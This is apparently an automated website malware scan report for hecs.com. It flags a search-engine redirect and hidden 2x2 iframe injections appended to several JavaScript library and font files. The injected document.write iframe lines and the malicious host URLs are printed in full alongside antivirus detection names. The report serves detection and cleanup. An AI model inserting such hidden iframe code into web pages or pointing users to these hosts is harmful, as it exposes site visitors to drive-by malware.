New scan:

Malware Scanner report for hecs.com

Malicious/Suspicious/Total urls checked
5/0/15
5 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "hecs.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://habboigratis.altervista.org/ohmi.html?h=1218027
172 websites infected.

The website "hecs.com" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/16/21
16 suspicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=hecs.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://www.hecs.com/
(imitation of visitor from search engine)

GET / HTTP/1.1
Host: www.hecs.com
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 302 Found
Connection: close
Date: Thu, 25 Dec 2014 14:30:06 GMT
Location: http://habboigratis.altervista.org/ohmi.html?h=1218027
Server: Apache
Content-Length: 300
Content-Type: text/html; charset=iso-8859-1
malicious

Scanned pages/files

RequestServer responseStatus
http://www.hecs.com/
200 OK
Content-Length: 12999
Content-Type: text/html
clean
http://www.hecs.com/js/jquery-1.4.2.js
200 OK
Content-Length: 72668
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027></iframe>');

(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}fun
... 3186 bytes are skipped ...
t"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027></iframe>');

Antivirus reports:

Norman
Iframe.UW

Hidden iFrame found.
size: 2x2     
src: http://tek2games.com/oozi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://rarechristianbooks.com/omwi.html?i=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027>

http://www.hecs.com/js/cufon-yui.js
200 OK
Content-Length: 18752
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027></iframe>');

var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loade
... 3103 bytes are skipped ...
moveChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027></iframe>');

Antivirus reports:

Avast
JS:Iframe-AMJ [Trj]
NANO-Antivirus
Trojan.Html.TwitScroll.bklyhq
Norman
Iframe.UW
GData
JS:Iframe-AMJ

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://tek2games.com/oozi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://rarechristianbooks.com/omwi.html?i=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027>

http://www.hecs.com/js/cufon-replace.js
200 OK
Content-Length: 565
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027></iframe>');

Cufon.replace('.text_1', { fontFamily: 'Zurich_BT_400', hover:true });
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027></iframe>');

Antivirus reports:

Norman
Iframe.UW

Hidden iFrame found.
size: 2x2     
src: http://rarechristianbooks.com/omwi.html?i=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027>

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://tek2games.com/oozi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027>

http://www.hecs.com/js/Zurich_BT_400.font.js
200 OK
Content-Length: 34778
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027></iframe>');

Cufon.registerFont({"w":199,"face":{"font-family":"Zurich_BT_400","font-weight":400,"font-stretch":"normal","units-per-em":"360","
... 3059 bytes are skipped ...
-158,259r-22,0xm115,-149v3,40,-63,52,-93,31v-9,-7,-13,-17,-13,-30r24,0v3,16,10,23,28,23v17,-1,32,-7,32,-24v0,-20,-22,-30,-44,-26r0,-16v44,9,56,-46,14,-46v-15,0,-28,8,-28,21r-23,0v0,-24,24,-37,51,-37v28,0,50,14,50,38v0,19,-13,26,-29,32v19,3,31,14,31,34","w":310},"\u00ad":{"d":"17,-75r0,-30r85,0r0,30r-85,0","w":119}}});
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027></iframe>');

Antivirus reports:

Norman
Iframe.UW

Hidden iFrame found.
size: 2x2     
src: http://rarechristianbooks.com/omwi.html?i=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027>

Hidden iFrame found.
size: 2x2     
src: http://tek2games.com/oozi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027>

http://www.hecs.com/js/jquery.cycle.all.latest.js
200 OK
Content-Length: 46555
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027></iframe>');

;(function($) {
var ver = '2.88';
if ($.support == undefined) {
$.support = {
opacity: !($.browser.msie)
}
... 3484 bytes are skipped ...
lip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' });
(step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none');
})();
});
opts.cssBefore = { display: 'block', opacity: 1, top: 0, left: 0 };
opts.animIn = { left: 0 };
opts.animOut = { left: 0 };
};
})(jQuery);
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027></iframe>');

Antivirus reports:

Norman
Iframe.UW

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://tek2games.com/oozi.html?j=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://tek2games.com/oozi.html?j=1218027>

Hidden iFrame found.
size: 2x2     
src: http://rarechristianbooks.com/omwi.html?i=1218027

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://rarechristianbooks.com/omwi.html?i=1218027>

http://www.hecs.com/index.html
200 OK
Content-Length: 12999
Content-Type: text/html
clean
http://www.hecs.com/product_terrestrial.html
200 OK
Content-Length: 12841
Content-Type: text/html
clean
http://www.hecs.com/aquatic.html
200 OK
Content-Length: 16035
Content-Type: text/html
clean
http://www.hecs.com/terrestrial.html
200 OK
Content-Length: 19371
Content-Type: text/html
suspicious
Hidden iFrame found.
size: 22x5     
src: http://nmsbaseball.com/post.php?id=210623

<iframe name=twitter scrolling=auto frameborder=no align=center height=5 width=22 src=http://nmsbaseball.com/post.php?id=210623>

http://www.hecs.com/contact.php
200 OK
Content-Length: 11201
Content-Type: text/html
clean
http://www.hecs.com/test404page.js
404 Not Found
Content-Length: 2693
Content-Type: text/html
clean
http://www.hecs.com/images/HECS PP Aquatic.pdf
200 OK
Content-Length: 300867
Content-Type: application/pdf
clean
http://www.hecs.com/video/TOO CLOSE! JIM BRENNAN BEAR ENCOUNTER.mov
200 OK
Content-Length: 300617
Content-Type: video/quicktime
clean
http://www.hecs.com/video/HECS Brads TEXAS turkey.wmv
200 OK
Content-Length: 300866
Content-Type: video/x-ms-wmv
clean